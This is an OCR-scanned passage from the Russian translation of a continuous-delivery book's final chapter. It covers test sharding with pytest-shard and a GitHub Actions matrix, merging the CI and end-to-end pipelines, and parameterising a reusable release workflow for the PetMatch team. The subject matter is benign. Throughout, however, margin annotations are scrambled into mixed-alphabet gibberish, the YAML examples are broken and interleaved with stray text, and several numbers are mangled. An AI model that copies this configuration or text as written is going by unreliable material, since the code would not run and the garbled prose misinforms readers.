50 -75 ми.нуw. i 

�1 ми.нуw.а 

Источник проблем со скоростью этого пайплайна - сами сквозные тесты. Никакие 
изменения в остальной части пайплайна не помогут: общее время выполнения всех 
остальных задач составляет -6 минут, а одни только тесты занимают более часа. 

Па раллел ьное выполнение и шарди н г тестов 
Начинать решение любых проблем с медленными тестами стоит с оценки самих те
стов, чтобы определить, какие фундаментальные первопричины лежат в основе этих 
проблем. Чтобы тесты оставались работоспособными в течение долгого времени 
и их было удобно сопровождать, необходимо устранить именно эти первопричины. 

Команда сервиса подбора соответствий уверена, что уже сделала это (никаких 
фундаментальных проблем в наборе тестов не выявлено), и поэтому переходит к еле-
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дующему этапу - шардингу тестов для параллель
ного запуска частей общего набора сквозных тестов. 

Набор сквозных тестов состоит из 50 отдель
ных тестов, и на выполнение каждого уходит от 60 
до 90 секунд. Полное время выполнения набора 
сквозных тестов таково: 

Подробнее об ускоре
нии медленных тестов, 
в том числе с помощью 
шардинга, см. в главе 6. 

50 тестов х 60-90 секунд на тест = 50-75 минут. 

Чтобы ускорить работу пайплайна сквозных тестов и иметь возможность запускать 
его при каждом PR, выполнение тестов должно занимать не более 1 5  минут: 

1 5  минут / (60-90 секунд на тест) = 1 0-1 5 тестов на шард 

За 1 5 -минутное окно, которое команда определила, можно выполнить минимум 
10 тестов: 

50 тестов / 1 О тестов на шард = 5 шардов 

Команда решает проводить тесты на 6 шардах, чтобы оставить немного места для 
маневра: 

50 тестов / 6 шардов = 8,3 теста на шард -= округляем до 9 тестов на шард 

9 х 60-90 секунд = 9-1 3,5 минуты на шард 

При выполнении тестов на 6 шардах общее время выполнения будет равно вре
мени, которое потребуется самому долгому шарду. В худшем случае оно составит 
1 3,5 минуты. 

Чтобы обновить задачу сквозного тестирования и распределить тесты по 6 шар
дам, команда применяет тот же подход, что и Шридхар в главе 6, а именно исполь
зует библиотеки pytest-shard в Python для работы с шардингом совместно с функ
циональностью mat rix из GitHub Actions: 

end - t o - end -test s : 
needs : [ setu p - s ut ,  deploy - image - s ut ]  
run s - on : ubunt u - latest 
env : 

SUT_I P : $ { {  needs . setu p - sut . output s . env - ip } }  

Исмл1:>зобан1Ае cW1paW1eZ1AIA 
МаW1р1Ац1:>1 указ1:>1баеW1 CiitH1Ab 
Actiorts на W\O, ЧW\О следуеW\ 61:>1 -
V\OЛHЯW\t> задан1Ае од1Ан раз для 
каждой. комо1Ана41А1А элеменW106 strategy : 

fail - fast :4�fa=l:s:e:__�������� 
matrix : 

total_shards : [ 6 ]  

sha rd_indexes : [ 0 ,  1,  2 ,  3 ,  4,  5 ]  

steps : 

- name : I n stall  pytest - s hard 
run : 1 

pip  install  pytest - s hard==0 . 1 . 2  
- name : Run tests  

run : 1 
pytest \ 

в total_sV.ards 1А sV.ard_irtdexes, 
ЧW\о в данном случае сосW1абляеW1 
iЩCWll:> KOMOIAHaЦIAU, V\O одной. для 
каждого w.арда. 

К.ажд1:>1i:i. экземмяр W1eCW106ozo задан1АЯ, 
зartycкaeм1:>1i:i. CiitH1Ab Actiorts, rtOЛ!;jЧIAW\ 
разн1:>1е комо1Ана41А1А значен1Аi:i. для Wlatrix. 
sV.ard_irtdexes 1А Wlatrix.total_shards: [ ь, о], 
[Ь, :1..] ,  [Ь, 2], [Ь, 3], [Ь, 4],  [Ь, 5]. 

- - shard - id=$ { {  matrix . sha rd_indexes } }  \ / 
- - num-shards=${ { mat rix . total_shards } }  � 
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Пайплайн сквозного тестирования с шардингом 
Посте того как тесты были разделены на шарды, пайплайн сквозного тестирования 
стал выглядеть иначе: 

3ttll\ycкaeWICЯ 
11\ерцодцчески 
(ко.ждую ночь) 

11 � 
,;---����-- --����---

Создание 
образа 

Настройка �5 минуWI 
среды для SUT 

) Развертывание 
образа в SUT 

� 
Выполнение 

сквозных тестов 
(б шардов) 

Fill\o.lly -блoк 

Очистка среды 
для SUT 

Несколько секунд 

q -1,..3,5 MIAHYWIЫ 

�1,.. MIAHYWIO. 

Общее бремя: 5 мцнуWI + несколько секунд + q -1,..3,5 мцнуW1ы 
+ 1. минуW10. = 1.5-1. q,5 мцнуW1 

Общее время выполнения пайплайна сквозного тестирования составляет максимум 
1 3 ,5 минуты. Тогда весь пайплайн будет выполнен менее чем за 20 минут, а воз
можно, даже и за 15 минут. Этого достаточно, чтобы его можно было запускать при 
каждом PR. Если разработчики захотят сделать его еще быстрее, они могут добавить 
больше шардов для сквозных тестов. 

-_(�� ВАЖНО 
Благодаря использованию стратегии матрицы легко распараллелить выполнение 
задач в пайплайне (например, при шардинге тестов), что позволяет эффективно 
снизить общее время выполнения пайплайна и одновременно упростить по
вторное использование задач. 
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Пай плайн сквозного тестирования и сигнал ы 
Решив проблемы со скоростью, команда переходит к проблеме сигналов: 

• Ottmбt<t:1 сквоз!'lrs1е тестм оставляют nocne себя тестовую среду в !'lе!'lадnежащем 

состо:я!'lю1. Исправлено! 
• Скr>рость naйnnaitl'I сквоз!'lоrо тестr1рова!'lю1 сnиmком мeдne!'ll'IMЙ, 'lтo6rs1 за-

nускатrs ero, коrда это !'lеобходимо. Исправлено! 
• Сигнал - пайплайны сквозного тестирования и выпуска релизов генерируют 

сигналы слишком поздно. 

Сигналы от пайплайнов сквозного тестирования и выпуска l?елизов поступают 
слишком поздно. Пайплайн сквозного тестирования раньше запускался только 
ночью, поскольку был слишком медленным. Но теперь, когда весь пайплайн вы
полняется менее чем за 20 минут, разработчики могут запускать его при каждом PR 
и сразу же получать сигнал ! 

Они уже запускают пайплайн CI для каждого PR. Добавить пайплайн сквозного 
тестирования можно двумя способами: 

• запускать пайплайн сквозного тестирования после пайплайна CI; 

• запускать пайплайн сквозного тестирования параллельно с пайплайном CI. 

Чтобы определиться с выбором, необходимо рассмотреть несколько факторов: 

• Использование ресурсов - пайплайн сквозного тестирования потребляет ресурсы 
для запуска SUT. Если пайплайн CI завершится с ошибкой, стоит ли задейство
вать эти ресурсы (для параллельного запуска второго пайплпйна) или лучше 
остаться консервативными и использовать их, только если интеграционные 
и юнит-тесты в пайплайне пройдут успешно (то есть будут запускать один пайп
лайн после другого) ? 

• Получение полной информации о сбоях - если сквозные тесты запускаются толь
ко после прохождения пайплайна Cl, то автор PR может разозлиться, потратив 
время на исправление тестов CI, а потом обнаружив, что после их исправления 
сквозные тесты тоже не работают. 
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Единый nайnлайн CI 371 

Команда сервиса подбора соответствий решает запускать сквозные тесты парал
лельно с существующим пайплайном CI, чтобы оптимизировать процесс и получать 
как можно больше сигналов как можно быстрее, даже если это означает выделение 
дополнительных ресурсов на запуск сред для SUТ. Вместо использования двух от
дельных пайплайнов они объединяют два существующих в один более крупный 
пайплайн CI, который выполняет все три вида тестов (и линтинг тоже ! ) :  

Заl'\ускаемся 
1'\tриодически 
(каждую ночt:>) 

Заl'\ускаемся 
1'\ри омкр1:>1мии 

или обно8лении PR 

Гл•нтинг J 
_

с

_

оз

-

да

_

н

_

ие

_ 
образа 

Настройка 
среды для SUT 

Выполнение 
юнит-тестов 

(с покрытием) 

1 Развертывание 
образа в SUT 

� 
Выполнение 

сквозных тестов 
(б шардов) 

Fil'\ar ly -блoк 

� 
Очистка 

среды для SUT 

Выполнение 
интеграционных 

тестов 

Как только пайплайн запускается, он начинает параллельно выполнять линтинг, 
создание образа, настройку среды для SUT, интеграционные и юнит-тесты. 
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Па й плай н выпуска релизов и си гналы 
Поскольку пайплайн сквозного тестирования теперь объединен с пайплайном CI 
и запускается при каждом PR, проблема с сигналами в этом пайплайне решена. 

• Ошибка сквозные тесты оставш11от nосле себя тестовую среду в ненадлежащем 
состояНИ)!. Исправлено! 

• Clropocmr> nаР'1nлайн сквозноrо тестирования слиmко!\11 медленнь1й, что6ь1 за-

nускать ero, коrда это нео6ход)1МО. Исправлено! 
• Сигнал - пайплайны сквозноrо тестироваН)!JI )! выпуска релизов генерируют 

сигналы слишком поздно. 

В пайплайне выпуска релизов осталась проблема с сигналами. Он запускается, толь
ко когда происходит развертывание (а это в лучшем случае один раз в несколько 
недель) . 

Cpo.oo.w.D1бo.ew. 
V\pu. дооо.блени.и. 

w.ezo. нобой вереи.и 
в ремзи.w.ори.и. 

� r -
Создание образа 
сервиса подбора 

соответствий 

) Разверты вание 
образа сервиса 

подбора соответствий 

Этот пайплайн часто выявляет проблемы, пропущенные ранее. Например, вот какие 
проблемы он недавно обнаружил: 

• Внесенное изменение требовало, чтобы переменная среды устанавливалась во 
время сборки, но это изменение было внесено в файл Makefile, используемый 
сквозными тестами, и не было внесено в задачу сборки, описанную ранее. При 
запуске пайплайна выпуска эта задача не сработала. 

• Параметр командной строки в сервисе подбора соответствий был изменен, но 
конфигурация, используемая для развертывания сервиса, не была обновлена. 
Когда задача развертывания начала выполняться, она попыталась использовать 
конфигурацию со старым параметром, и развертывание завершилось сбоем. 
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Различия в пай плай нах CI  и выпуска релизов 
Почему пайплайн выпуска релизов находит проблемы, а пайплайн CI - нет? В конце 
концов, для выполнения части пайплайна CI, связанной со сквозным тестированием, 
тоже требуется сборка и развертывание. Причина, по которой CI не может отловить 
некоторые проблемы, заключается в том, что логика сборки и развертывания в CI 
отличается от логики этих процессов в пайплайне выпуска. 

ЭWla задача 
созданця образа � 
IACV\OЛDЗyeWI файл 1' 
fv1akefi(e 1А в", -
1'\ОЛНЯеWI как 
созданце, W\aK 
ц загрузку. 

ЭWla задача 
раз6ерW1"16анця 
W\акже IACl'\OЛD 
зyeWI файл 
fv1akefile 
ц cкpцnWI, 
создающцй 
конфцzураццю 
раз

6
ерW1"16анця. 

Создание  
образа 

1 Развертывание 
образа в SUT 

Задачц созданця 
образа ц раз6ер 
W1"16анця' IACl'\OЛ/:) -
зуем"1е мйnлай -
нам CI. 

ЭW1а задача 
WlaKЖe 6Dll'\OЛHЯ -

r - eWI созданце 
Создание  образа �-- образа ц заzруз -
сервиса подбора ку , но цсммзу -

соответствий  eWI basl-1 -cкpцnWI 
6MtCWIO файла 

Развертывание 
образа сервиса 

подбора 
соответстви й  1 

fv1akefile. 

3адачц созданця 
образа ц раз6ерW1"' -
6анця, IАСV\ОЛ/:)Зу е -

..--- ЭWla задача 
раз6ерW1"16анщ1 
IACl'\OЛDЗYtWI 
файл"' конфцzу 
раццц ,  зафцксц -
ро6анн"1е 
в peMЗIAW10p1A1A 
сербцса мдбора 
COOW16tW1CW161Aй. 

м"1е nайnлайном 
в"муска релцза. 

Как мы видели в главе 7 на примере проекта CoinExCompare, использование раз
личной логики при сборке и развертывании в CI и на продакшен приводит к воз
никновению багов. Решение - обновить пайплайн CI так, чтобы он мог использо
вать пайплайн выпуска в части сборки и развертывания. Если использовать один 
пайплайн (выполняющий одни и те же задачи) , вероятность обнаружения любых 
потенциальных проблем будет значительно выше. 

А что, если использовать непрерывное развертывание, чтобы 

получат ь сигналы раньше? 

Хорошая мысль! Если бы компания PetMatch использовала непрерывное развер
тывание, то развертывание сервиса подбора соответствий осуществлялось бы при 
каждом изменении и все проблемы выявлялись немедленно. Однако проблемы все 
равно будут обнаруживаться только после слияния, и тогда код будет оставаться 
недоступным для выпуска, пока ошибки не будут исправлены. Старайтесь находить 
ошибки до того, как они попадут в коммит основного кода. 

\'--������·����--����������������--����--
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Комбинация па йплайнов 
Команда сервиса подбора соответствий намерена использовать существующий 
пайплайн выпуска релизов в двух сценариях: 

• Когда необходимо выполнить развертывание (так они используют его сейчас) .  
• Для создания и развертывания образа в SUT в пайплайне CI. 

Для второго варианта необходимо повторно использовать существующий пайплайн 
в рамках пайплайна CI. Этого можно добиться двумя способами: 

• Дублировать пайплайн - использовать в пайплайне CI те же задачи, которые 
используются в пайплайне выпуска. 

• Вызывать пайплайн выпуска из пайплайна С! - использовать пайплайн выпуска 
как есть из пайплайна CI, то есть вызывать один пайплайн из другого. 

Оба варианта решат интересующую нас проблему, поскольку в обоих случаях пайп
лайн CI будет использовать те же задачи, что и пайплайн выпуска. Но у первого 
варианта есть недостатки: 

• Если пайплайн выпуска будет меняться, то автор изменений должен будет не 
забыть обновить и пайплайн CI, иначе они рассинхронизируются. 

• Скорее всего, со временем способы определения и использования задач в каждом 
из пайплайнов начнут разниться, в отличие от варианта, когда в обоих случаях 
используется один и тот же пайплайн. 

Команда разработчиков сервиса подбора соответствий решила, что лучше вызывать 
пайплайн выпуска релизов из пайплайна CI целиком. 

1 ' ' 
' '"·· ; - ВАЖНО ' . ' 

Системы CD с функцией вызова одного пайплайна из другого лучше подходят 
для повторного использования (и в них меньше ненужного дублирования 
и ошибкоопасной поддержки) ,  чем системы, обеспечивающие повторное ис
пользование только на уровне задач (или вообще его не поддерживающие) . 
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Пай плай н выпуска релизов 
Чтобы использовать пайплайн выпуска релизов из пайплайна CI, команде сервиса 
подбора соответствий необходимо внести несколько изменений. Сейчас пайплайн 
выпуска определен как рабочий процесс GitHub: 

name : Build and deploy to production from tag 
оп : 

push : Эмо задание Оl'\ределяем 61:J1ходн1:J1е данн1:J1е -
ta:s ;

. . млнtJ1i.1 URL и хещ -сумму созданного образа. 
j oьs : ( В1:J1ходные даннtJ1е генерируюмся на следующем 

build -matchmaking- service - image : щаге и MOZ!:jM бtJIM/:) иCl'\OЛl:JЗ06aHl:JI 6 Качесмбе 
run s - on : ubunt u - latest бxoдHl:JIX дaHHl:JIX для следующего задания 
outputs : 

built - image : ${{ steps . build- and - push . output s . built - image } }  
st�p��es : actions/checkout@vl Эмом щаг с иденмификамором bиi(d -al'\d -pиsl-1 

- id : build -and - push � создаем Оl'\ределенн1:J1е ранее 61:J1ходн1:J1е данные. 
run : 1 

IМAGE_REGISTRY= " 10 . 10 . 10 . 10"  
IМAGE_NAМE=" petmatch/matchmaking"  
VERSION=$ ( echo $ { {  github . ref } }  1 cut - d  / - f  З)  
IМAGE_URL="$IМAGE_REGISTRY /$IМAGE_NAМE : $VERSION" 
BUI LT_IМAGE=$ ( . /build . sh $IМAGE_UR L )  
echo " :  : set -output name=built- image : : ${BUILT_I/llAGE} '• 

deploy -matchmaking- servic e - image : "' 
runs - on : ubunt u - latest На эмом ЭМаl'\е задание 1'\О созданию 
need s : build -matchmaking- service- image образа усманаблибаем значение 
steps : 61:J1ходн1:J1Х даннtJIХ bиi(t-iмage. 

- uses : actions/checkout@v2 
- id : deploy 

run : 1 
. / update_config . sh ${{ 

. /deploy . sh 
needs . build -matchmaking- service- image . outputs . built - image } }  "' 

Эмо задание можем исмлtJзобамtJ млнtJ1i.1 
URL и хещ -сумму созданного образа (б1:J1ход
н1:J1е данн1:J1е 1'\ред1:J1дущего задания) б качесмбе 
бходн1:J1х данн1:J1х. 

Первое задание в пайплайне определяет выходные данные с именем built - image, 
которые следующее задание использует в качестве входных. Это обеспечивает гиб
кость развертывания, достаточную, чтобы работать с любым URL созданного об
раза, и позволяет разделить логику на два отдельных хорошо отлаженных задания. 

Скрипты или встроенный bash 

В главе 12 для удобства повторного использования рекомендовалось писать 
bash, встроенный в задачи, а не хранить его отдельно в скриптах (а также 
переходить на языки общего назначения, если код на bash становится слишком 
длинным). В этих примерах используется отдельный скрипт, чтобы не вдаваться 
в подробности реализации каждой задачи и сосредоточиться на особенностях 
пайплайна и функциях задач, о которых идет речь в этой главе. 
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Ха рдкодинг  в пайплайне выпуска рел изов 
Несмотря на то что существующий пайплайн хорошо использует входные и выход
ные данные на уровне задач, на уровне самого пайплайна дела обстоят не лучшим 
образом. На самом деле в пайплайне выпуска жестко закодированы несколько па
раметров, которые не позволяют использовать его для системных тестов: 

name : Build and deploy to production from tag 
оп : 

push : 
tags : ' * '  

jobs : 
build -matchmaking- service- image : 

runs - on : ubunt u - latest 
outputs : 

built - image : $ { {  steps . build - an d - push . output s . built- image } }  
steps : 

- uses : actions/c heckout@v2 
- id : build - and - push  

run : 1 
IМAGE_REGISTRY=" 10 . 10 . 10 . 10" 
IМAGE_NAМE=" petmatch/matchmaking" 
VERSION=$ ( echo ${{ githu b . ref } }  1 cut -d  / - f  3 }  � 
IМAGE_URL="$IМAGE_REGISTRY/$IМAGE_NAМE : $VERSION" 
BUI LT_IMAGE=$ ( . /build . s h $IМAGE_URL )  
e cho  $BUILT_IМAGE 
echo " : : set - output name=built - image : : ${ BUI LT_IМAG E } "  

deploy-matchmaking - s ervice - image : 
run s - on : ubunt u - latest 
need s : build - matchmaking- service- image 
steps : 

- uses : action s / checkout@v2 
- id : deploy 

run : 1 

PeecWlp, имя образа 
и СV\Особ ОV\ределе -
ния версии заданt7t 
жесW1ко. Для сквоз 
Нt7tХ W\eCW\oв нужно 
OW\V\paвлЯW\D обра3t71 
в друzой peecWlp, 
назt71ваW\t7 их иначе 
и иCV\OЛt73oвaW\t7 дру 
гую схему оV\ределе -
ния версий. 

. / update_config . sh $ { {  needs . build-matchmaking- service- image . outputs . built - image }}  

. /deploy . sh \ СкриV\W\ deploy.si-1 жесW\КО заV\роzраммирован на развер -"'-....W\t71вание сербиса V\Одбора сооW1веW1сW1вий в рабочей среде, 
однако для сквознt7tХ W\eCW\oв нужно V1роизводиW1t7 развер 
W1t71вание в среде SИТ. 

Чтобы использовать этот пайплайн из пайплайна сквозного тестирования, необхо
димо изменить жестко заданные параметры следующим образом: 

• Отправка должна производиться либо в реестр рабочих образов, либо в реестр, 
используемый для системных тестов. 

• Должна быть возможность изменять способ определения версии и имени об
раза.  В продакшене имя всегда одно и то же, а версия определяется из тега. Для 
сквозных тестов тег отсутствует, а имя образа другое. 

• Развертывание должно производиться либо в рабочей среде, либо в среде SUT, 
созданной пайплайном CI. 
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Повторное использование пай пла йна 
с помощью параметризации 
Чтобы использовать пайплайн выпуска релизов и з  пайплайна CI, команда сервиса 
подбора соответствий вносит несколько изменений. Она создает повторно исполь
зуемый рабочий процесс GitHub Actioпs для развертывания, который получает 
параметры извне, что позволяет использовать его как для сквозных тестов, так и для 

итогового развертывания: 

name : Build and deploy Эмом рабочий У>роцесс насмроен 

оп : на зау,уск м workflow_call, эмо 
workflow_cal l :  � означаем, чмо его можно 6tJIЗtJl -

inputs : 
image- registry : 

required : true 
type : string 

image- name : 
required : true 
type : string 

version-from-tag : 
required : true 
type : boolean 

deploy-target : 
required : true 
type : string 

6aмtJ из других рабочих У>роцессо6. 

Эми У1арамемрtJ1 должнtJ1 
бtJ1мtJ у,редосма6ленtJ1 6tJ1зtJ1 -
6ающим рабочим У>роцессом. 
Они мз6оляюм исмлtJзо6амtJ 
даннtJ1й рабочий У>роцесс как для 
месмиро6ания, мак и для раз -
6ермtJ16ания на У>родаюмен. 

jobs : 
build -matchmaking- service- image : 

runs-on : ubunt u - latest 
outputs : 

А где секреты? 

Для развертывания 

в среде SUT, скорее все
го, потребуются другие 
учетные данные, чем 
для развертывания на 
продакшен. Эти дета
ли в рассматриваемом 
примере опущены, но 
обеспечить возмож
ность их параметриза
ции тоже важно. 

built - image : ${{ steps . build - and-push . output s . built- image }} 

Рабочий У>роцесс можем 
бtJ1мtJ насмроен на мо, 
чмобtJ1 либо генериро6амtJ 
Вереи ю на основе мега (из -
6лекаемого из 9ithиb.ref) ,  
либо иСУ\ОЛ/JЗО6амtJ коммим 

steps : 
- uses : actions/checkout@v2 
- id : build - and -push  � run : 1 

if [ "${{  inputs . version-from-tag } } "  
then 

"true" ] 

VERSION=$ (echo ${{  github . ref }} 1 cut -d / -f З )  
else 

VERSION=${ {  github . sha }} 
fi 

( У1редосма6ляемtJ1й через 
9ithиb.sha). 13 рабочих сборках 
будем иСУ\ОЛ/JЗО6ам/JСЯ мег, 
а в месмах - коммим. 

IМAGE_URL="${{ input s . image- registry } }/${ { inputs . image- name } } : $VERSION " 

echo " :  : set -output name=built - image : : ${ BUI LT_IМAGE } "  Реесмр oбpa -
BUI LT_IМAGE=$ ( . /build . sh $IМAGE_URL )  "-deploy -matchmaking- service- image : зо6 и имя образа 

run s - on : ubunt u - latest мeY>tptJ МОЖНО нa -
needs : build-matchmaking- service- image смраи6амtJ. 
steps : 

- uses : actions/chec kout@v2 
- id : deploy 

run : 1 
. / update_config . sh $ { {  . . .  } }  
. /deploy . sh $ { {  input s . deploy-target }}  

Задаче раз6ермtJ16ания мeY>tptJ будем У>tредабамtJся /Р -адрес cpeдtJ1 
для раз6ермtJ16ания, в омличие ОМ мого, чмо ранее бtJIЛO жесмко 
задано Всегда осущесмблямь раз6ермtJ16ание на У>родакщен. 
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П рименение повторно 
используемых пайплай нов 
Пайплайн повторноrо использования (хранящийся в репозитории сервиса подбора 
соответствий в файле с названием .githuЬ/workflows/deployment.yaml) предназначен 
для вызова только из друrих рабочих процессов, поэтому команда сервиса подбора 
соответствий обновляет существующий рабочий процесс (настроенный на запуск 
при появлении теrа новой версии) ,  чтобы ero использовать: 

name : Build  and deploy to production from tag 
оп : 

push : 
tags : 

- ' * '  
jobs : 

deploy : 
uses : . / . github/workflows/deployment . yaml 
with : 

image - registry : ' 10 . 10 . 10 . 10' 
image - name : ' petmatch/matchmaking' 
version - from-tag : t rue 
deploy-target : ' 10 . 11 . 11 . 11 '  

1<.оzда мявиWIСЯ Wltz новой 
версии, рабочий V\роцесс раз 
верW1ь1вания будеWI вызываW\t?СЯ 
с исмльзованием мрамеW1ров, 
коW1орые zаранW1ируюW1, ЧWIO 
рабочий образ будеWI создан 
С номером вереи.и. U.З WleZa, 
ммещен в peecWlp рабочих об
разов и. развернуW1 на рабочем 
экземмяре. 

Рабочий  процесс CI также обновлен для применения повторно используемоrо 
рабочеrо процесса развертывания. Предыдущие задачи сборки и развертывания 
(специфичные для сквозных тестов) были удалены и заменены вызовом мноrоразо
воrо рабочеrо процесса: 

name : Run CI  

jobs : 
setup - sut : 
deploy-to- sut : 

needs : setup- sut 

1<.оzда заV\ускаеWIСЯ PR, рабочий V\роцесс разверW1ыва -
ни.я будеWI вызываW1ься с и.смльзовани.ем V\арамеW1ров, 
коW1орые zapaнW1u.pyюW1, ЧW\о WltcWloвый образ будеW1 
создан с ожидаемым именем, верси.они.рован в cooWI -
веWIСW\вии. с KOMMU.WIOM, ммещен в peecWlp WIUW\oвo 
zo образа и. развернуW1 в среде SИТ. 

uses : . / . github/workflows/deployment . yaml 
with : 

image - registry : ' 10 . 12 . 12 . 12 '  
image - name : ' petmatch/matchmaking -e2e-test'  
version - from-tag : false 
deploy-target : ${{  needs . setup - s ut . outputs . env - ip } }  

end -to-end -test s : 
c lea n - u p - sut : . . .  setu.p -su.t создаеWI среду SИТ для развер 

Wlывани.я и. V\редосW1авляеW1 /Р в качесWlве 
выходных данных. ЭWIOWI /Р можно V\ередаW1ь 
в мвWlорно и.смльзуемый рабочий V\роцесс 
в качесW1ве входных данных. 
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Обновленные пай пла й ны 
Пайплайн CI был обновлен с учетом нового повторно используемого пайплайна 
выпуска релизов (точно такой же пайплайн используется теперь и для развертыва
ния на продакшен, но вызывается с другими параметрами) и теперь выглядит так: 

Заи.ускаемся 
и.ри омкр1:>1мии 

или обно8лении PR 

{1 

Выполнение 
сквозных тестов 

(б шардов) 

Fiи.а llу -блок 

{!. 
Очистка среды 

для SUT 

'-f� ВАЖНО 

Заи.ускаемся 
и.ериодически 
(каждую ночt>) 

� 
Выполнение 
юнит-тестов 

(с покрытием) 

Выполнение 
интеграционных 

тестов 

nа!Аи.ла!Ан С/ 81:>1з1:>18аем 
и.о8морно иси.ол1:>зуе 

м1:>11А и.а!Аи.ла!Ан 81:>1и.уска 
'-- релизо8, чмоб1:>1 

создам/:> образ 
для месмиро8ания 
и раз8ернум1:> его 

8 среде SUT. 

Срабам1:>18аем 
и.ри доба8лении 

меzа но8о!А Версии 
8 реи.озимории 

Развертыванме образа сервиса 
подбора соответствмй 

Чтобы пайплайны можно было использовать в различных сценариях (напри
мер, при вызове другими пайплайнами), необходимо обеспечить возможность 

их параметризации. 
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Решение п роблем непрерывной доставки 
в п роекте PetMatch 
Реализовав использование пайплайна выпуска релизов как часть сквозных тестов 
для каждого PR, разработчики сервиса подбора соответствий вернулись к списку 
проблем пайплайна CD, которые они должны были решить: 

• Ош1:16к1:1 сквозмь�е тесть� оставтпот nocne себл тестовую среду в мемадпежащем 

состолюr:м. Исправлено !  Использование finаllу-логики означает, что очистка 
среды после тестов будет происходить всегда. 

• Скорость nairnnaйм сквозмоrо тестировамил спишком мед11еммь1i1, чтобь� 

заnускать ero, коrда это меобходимо. Исправлено! Благодаря использованию 
шардинга тестов и стратегии матрицы пайплайн сквозного тестирования теперь 
можно запускать для каждого PR. 

• Сwмал nайnпаймь� сквозмоrо тестировамил и вь�nуска репизов rемерtrруют 

сиrмапь� сп:мшком nоздмо. Исправлено! Как сквозные тесты, так и пайплайн 
выпуска релизов сейчас запускаются для каждого PR. Проблемы с пайплайном 
выпуска теперь, скорее всего, будут обнаруживаться при запуске CI. 

Поскольку все тесты CI теперь запускаются для каждого PR и разработчики PetMatch 
используют пайплайн выпуска как часть этого CI, они могут получить максимальное 
количество сигналов. Чтобы этого достичь, им пришлось принять ряд компромиссов: 

• Скорость получения сигналов - пайплайн CI теперь генерирует больше сигналов, 
чем раньше, но на его выполнение уходит почти 20 минут. Без сквозных тестов 
этот пайплайн занимал максимум пару минут. 

• Частота получения сигналов - команда сервиса подбора соответствий предпоч
ла частоту получения сигналов CI скорости: теперь она получает большую часть 
сигналов быстрее, но вынуждена ждать дольше при каждом запуске пайплайна, 
что означает увеличение времени ожидания для PR, готовых к слиянию. 

• Влияние того, что код остается не готов к релизу, - до сих пор код оставался 
в состоянии неизвестности; невозможно было обнаружить ошибки до про
ведения ночных сквозных тестов или до выпуска релиза. Как было показано 
в предыдущих главах, такое состояние противоречит основным принципам CD. 

• Ресурсы, необходимые для выполнения пайплайнов, - каждый вызов пайплайна CI 
(который может происходить по несколько раз для каждого PR) теперь требует 
предоставления среды SUT и запуска тестов на 6 шардах. По сравнению с вы
полнением тестов один раз за ночь CI команды сервиса подбора соответствий 
будет потреблять гораздо больше ресурсов. 

Важные особенности непрерывной доставки 
Разработчики сервиса подбора соответствий смогли решить проблемы с CD, реор
ганизовав задачи и пайплайны. При этом они использовали систему CD, предостав
ляющую следующую функциональность: 
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• Поддержка задач и пайплайнов - определенная поддержка как небольших на
боров функциональности (задач) с сильной связностью, так и организации этих 
повторно используемых наборов (пайплайнов) обеспечивает гибкость реализа
ции пайплайнов CD. 

• Выходные данные - благодаря тому, что задачи могут выпускать выходные дан
ные, принимаемые другими задачами, можно создавать хорошо отлаженные, 
повторно используемые задачи с сильной связностью и слабой связанностью. 

• Входные данные - точно так же разрешение задачам и пайплайнам принимать 
входные данные облегчает повторное использование задач и пайплайнов. 

• Условное выполнение - повторное использование пайплайнов можно расширить, 
если управлять выполнением некоторых задач в них с помощью входных данных. 

• Fiпаllу-логика - часто в пайплайны CD входят задачи, которые должны выпол
няться даже в случае сбоя в других частях пайплайна, например задачи привести 
ресурсы после выполнения в надлежащее состояние или отправить разработчи -
кам уведомление об успехе или провале. Следовательно, должна существовать 
возможность указывать такие задачи. 

• Параллельное выполнение - благодаря параллельному выполнению задач, ко
торые не зависят друг от друга, можно быстро и просто увеличить скорость 
выполнения пайплайна. 

• Выполнение на основе стратегии матрицы - во многих пайплайнах CD есть 
задачи, которые должны выполняться для каждой комбинации набора значений 
(например, при шардинге тестов) ,  и применение матричного (или циклического) 
синтаксиса облегчает повторное использование и распараллеливание задач.  

• Пайплайны, инициирующие вызов пайплайнов, - создание пайплайнов с воз
можностью повторного использования не только упрощает построение сложных 
пайплайнов в случае необходимости, но и позволяет обеспечить одинаковую 
логику, даже если сценарии немного отличаются (например, развертывание 
в тестовой и в рабочей среде) .  

Что делать, если в выбранной системе CD нет этих функций? 

Если ваша СD-система не поддерживает эти функции, вам придется либо делать 
пайплайны очень простыми (что ограничивает возможности их использова
ния) ,  либо создавать функции самостоятельно. Зачастую при этом потребуется 
создавать собственные библиотеки для таких функций, как циклы, но это огра
ничит эффективность этих решений (например, цикл может работать только 
на одной машине) .  Из-за отсутствия перечисленных выше функций часто 
приходится создавать сложные задачи с большим количеством обязанностей, 
включая логику оркестровки. Старайтесь выбирать систему CD, которая вы
полняет эту работу за вас .  Возможности некоторых популярных систем CD 
описаны в приложении А. 
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За ключение 
Чтобы решить проблемы в пайплайнах CD, иногда достаточно перепроектировать 
пайплайн. Разработчикам сервиса подбора соответствий не нужно было менять 
функциональность задач и пайплайнов. Используя функции системы CD и реорга
низовав существующие пайплайны, они значительно повысили их эффективность -
ценой снижения скорости выполнения и увеличения потребления ресурсов, но эту 
цену они готовы были заплатить. 

Итоги 
Старайтесь выбирать систему CD, в которой предусмотрена следующая функцио
нальность, и используйте эти функции, когда поймете, что пайплайны не генерируют 
необходимые сигналы: 

• задачи (повторно используемые функциональные единицы) и пайплайны (кото-
рые организуют работу этих задач) ;  

• входные и выходные данные (как параметры задач и пайплайнов) ;  

• условное выполнение; 

• finally-лoгикa; 

• параллельное выполнение и поддержка стратегии матрицы; 

• повторно используемые пайплайны. 

Кроме того, организуя пайплайны и принимая решение, что и когда в нем выпол
нять, учитывайте следующие факторы: 

• скорость получения сигналов (насколько быстро работают пайплайны); 

• частота сигналов (при их запуске); 

• влияние того, что код остается не готов к релизу; 

• ресурсы, необходимые (и доступные) для выполнения пайплайнов. 

Далее . . .  
Вы добрались до  конца последней главы !  Надеюсь, вам понравилось знакомство 
с непрерывной доставкой (CD) так же, как и мне. Приложения в конце книги со
держат анализ рассмотренных особенностей некоторых популярных систем CD 
и контроля версий. 
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П риложения 

••••••••••••••••••••••••••••••••••••••••• 

В двух приложениях содержится анализ некоторых функций, описанных в данной 
книге и предоставляемых популярными (на момент написания книги) системами 
непрерывной доставки и контроля версий. 

В приложении А рассматриваются функции непрерывной доставки, предостав
ляемые инструментами Argo Workflows, CircleCI, GitHub Actions, Google Cloud Build, 
Jenkins Pipelines и Tekton. 

В приложении В рассматриваются системы контроля версий с акцентом на Git 
